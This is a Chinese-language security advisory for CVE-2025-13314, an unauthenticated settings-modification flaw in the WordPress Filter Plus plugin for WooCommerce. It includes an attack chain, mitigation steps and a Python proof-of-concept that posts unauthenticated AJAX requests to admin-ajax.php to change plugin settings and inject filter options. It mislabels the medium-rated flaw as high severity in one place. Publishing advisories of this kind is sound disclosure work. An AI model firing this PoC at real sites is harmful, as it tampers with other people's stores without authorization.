IPBUF安全漏洞报告
English
CVE-2025-13314 CVSS 5.3 中危

CVE-2025-13314 WordPress Filter Plus插件未授权设置修改漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13314
漏洞类型
未授权访问/权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Product Filtering by Categories, Tags, Price Range for WooCommerce – Filter Plus

相关标签

WordPress插件漏洞权限绕过未授权访问WooCommerceFilter PlusAJAX漏洞CVE-2025-13314

漏洞概述

CVE-2025-13314是WordPress插件Filter Plus中的一个高危安全漏洞。该插件是一款为WooCommerce电商网站提供产品过滤功能的插件,支持按分类、标签和价格范围筛选产品。漏洞存在于插件的AJAX处理逻辑中,由于缺少对'filter_save_settings'和'add_filter_options'两个AJAX动作的权限验证,导致任何未认证用户都可以调用这些功能。攻击者可以利用此漏洞修改插件的任意设置,甚至创建恶意的过滤器选项,这可能导致网站前端显示异常内容,或者通过操纵过滤逻辑影响用户体验和交易流程。该漏洞影响范围广泛,涉及1.1.6及之前所有版本,CVSS评分5.3,属于中等严重程度。

技术细节

该漏洞属于WordPress插件中常见的权限控制缺失问题。在WordPress中,AJAX处理函数通常需要检查当前用户权限,特别是涉及数据修改的操作。Filter Plus插件的'filter_save_settings'和'add_filter_options'AJAX动作没有调用current_user_can()或类似的权限检查函数。攻击者只需构造特定的AJAX请求,指定action参数为'filter_save_settings'或'add_filter_options',并附带相应的设置数据,即可无需任何认证直接修改数据库中的插件配置。漏洞代码位于core/admin/settings/action.php文件的第23、28和82行。对于filter_save_settings,攻击者可以修改插件的全局设置;对于add_filter_options,攻击者可以创建任意的过滤器选项记录,这些选项会在前端产品过滤区域显示。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的WordPress和Filter Plus插件版本(< 1.1.7)
STEP 2
步骤2
攻击者构造AJAX请求,设置action参数为'filter_save_settings'或'add_filter_options'
STEP 3
步骤3
攻击者添加恶意参数数据,如自定义设置值或伪造的过滤器选项
STEP 4
步骤4
攻击者发送未认证的POST请求到WordPress的admin-ajax.php端点
STEP 5
步骤5
插件接收请求后直接执行操作,修改数据库中的插件配置
STEP 6
步骤6
恶意设置的过滤器选项在前端页面渲染时可能被利用,造成XSS或其他安全问题

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13314 PoC - Unauthorized settings modification # Target: WordPress site with Filter Plus plugin < 1.1.7 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # PoC 1: Modify plugin settings (filter_save_settings) settings_data = { "action": "filter_save_settings", "filter_settings": { "custom_key": "malicious_value", "enable_filter": True } } response = requests.post(target_url, data=settings_data) print(f"Settings modification response: {response.status_code}") print(response.text) # PoC 2: Add arbitrary filter options (add_filter_options) filter_options_data = { "action": "add_filter_options", "filter_type": "category", "filter_name": "Malicious Filter", "filter_value": "injected_content" } response2 = requests.post(target_url, data=filter_options_data) print(f"Add filter options response: {response2.status_code}") print(response2.text) # Note: Both requests work without authentication due to missing capability check

影响范围

Filter Plus plugin < 1.1.7 (all versions up to and including 1.1.6)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1) 使用WordPress安全插件(如Wordfence)添加防火墙规则阻止对admin-ajax.php的异常请求;2) 通过.htaccess或Nginx配置限制admin-ajax.php的访问来源;3) 临时禁用受影响的AJAX功能(需自行修改插件代码添加权限检查);4) 加强对WooCommerce商店的监控,及时发现异常配置变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表